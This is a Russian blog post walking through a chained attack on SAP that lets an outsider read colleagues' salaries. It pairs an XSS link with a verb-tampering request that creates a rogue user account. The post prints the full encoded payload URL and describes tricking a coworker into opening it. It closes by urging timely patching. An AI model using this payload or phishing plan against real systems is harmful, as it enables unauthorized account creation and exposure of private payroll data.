Взлом SAP. Смотрим чужую зарплату

1a2c3c9bf85c4d49b5d84a39ad4fc9dc.jpgЕсли ты работаешь в компании списка Forbes 500, высока вероятность того, что твою зарплату считает HR модуль SAP ERP. Я покажу как, используя ошибки SAP, посмотреть чужую зарплату в системе SAP ERP.

Disclaimer: Это наш первый официальный пост на Хабре (надеемся, что и не последний), и мы хотели бы начать с освещения одной из самый важных тем. Информация в этом посте исключительно для ознакомления и демонстрации критичности вопросов безопасности.Итак, только работники HR имеют доступ к данным расчета зарплаты. Даже если у тебя есть доступ SAP GUI, и ты попытаешься зайти в транзакцию просмотра данных по з/п, то с вероятностью 99% тебе будет отказано:

e242efcbc70b4022b30fa5812ed1502b.png

Доступа нет, а зарплату посмотреть хочется. Идем смотреть эксплоиты для SAP. Какой у нас есть инструментарий с эксплоитами? Правильно, Metasploit. Гуглим. Ага, на github есть целая папочка metasploit-framework/modules/auxiliary/scanner/sap/. Три десятка эксплоитов, однако:

38b525d2bcda4f7bae6036389a62e413.png

Вот, например, «Обход аутентификации с помощью Verb Tampering» (modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb), про него уже писали на Хабре.

Коротко суть уязвимости в том, что один из админских сервисов Java-сервера, который входит в пакет поставки SAP NetWeaver, доступен запросом типа HEAD (в противовес запрещенным запросам GET и POST). Если открыть github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb мы видим, что проблема заключается в обращении к сервлету:

/ctc/ConfigServlet? param=com.sap.ctc.util.UserConfig; CREATEUSER; USERNAME=' + datastore['USERNAME'] + ', PASSWORD=' + datastore['PASSWORD']

Конечно, мы можем поставить Metasploit и запустить скрипт с локального компьютера. Но:

1. Нет доступа в локальную сеть, а сервис скорее всего закрыт на доступ из-вне2. Скрипт будет запущен от твоего имени

Поэтому давай, а) составим скрипт сами на основе кода sap_ctc_verb_tampering_user_mgmt.rb б) дадим запустить этот скрипт кому-нибудь из коллег, используя одну из ошибок XSS

Про XSS на Хабре писали уже много раз (читай раз habrahabr.ru/post/66057/ два habrahabr.ru/post/197672/)

Идем гуглить securityfocus. По запросу «sap xss exploit site: http://www.securityfocus.com/» выпадает 359 результатов

9f1a642b9f3542c6b348b237dc8d4f6b.png

По www.securityfocus.com/bid/15361/exploit видим запрос, который исполнит Javascript на компьютере пользователя:

http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm? sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert ('xss')%3C/script%3E

Вместо дамми мы вставим HEAD-запрос к /ctc/ConfigServlet

А для того, чтобы результатов запроса никто не увидел, покажем пользователю картинку, обязательно с котиками:

Итоговая ссылка после кодировки в URL будет выглядеть так:

http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm? sap-sessioncmd=open&sap-syscmd= %3Cscript%3Evar%20http%20%3D%20new%20XMLHttpRequest ()%3Bhttp.open (%27HEAD%27%2C%20%22http%3A%2F%2Fxxxxx%2Fctc%2FConfigServlet%3Fparam%3Dcom.sap.ctc.util.UserConfig%3BCREATEUSER%3BUSERNAME%3Dtest444%2CPASSWORD%3DPassword01%22)%3Bhttp.send ()%3Bwindow.location.href%20%3D%20%27http%3A%2F%2Fru.fishki.net%2Fpicsw%2F042007%2F02%2Fflash%2Fcat.swf%27%3B%3C%2Fscript%3E%20

Итак, составляем письмо коллегам:

7e3d26744ea34af3b9add3292f8c1472.png

Нина Ивановна играет в Flash-игру:

530f608c6f9147739c957e7ef675b30a.png

А мы — получаем пользователя test444, который (если активировано центральное ведение пользователей) создастся не только на сервере NetWeaver Application Server Java, но и в бэкенде — NetWeaver Application Server ABAP.

f4eabe58c5024da08d5dbaac9ab52687.png

Логинимся, проверям. Транзакция HR-модуля работает!

20568141b97d428eb731f092b535597e.png

Выводы: мы использовали две уязвимости 2011 и 2013 года. При регулярном обновлении системы патчами такой сценарий будет невозможен. К сожалению, многие базисники забывают регулярно заглядывать в service.sap.com/securitynotes и проверять соответствие последним патчам, или делают это нерегулярно. С 2010 года компания SAP организует «Security Patch Day» каждый второй вторник каждого месяца, когда происходит массовый выпуск патчей по безопасности. Компания SAP просит партнеров не публиковать и не разглашать информацию о найденных уязвимостях как минимум 3 месяца с момента выпуска патча. Однако наши исследования показывают, что многие (в том числе большие) клиенты далеко не всегда устанавливают обновления в срок до 3 месяцев.

© Habrahabr.ru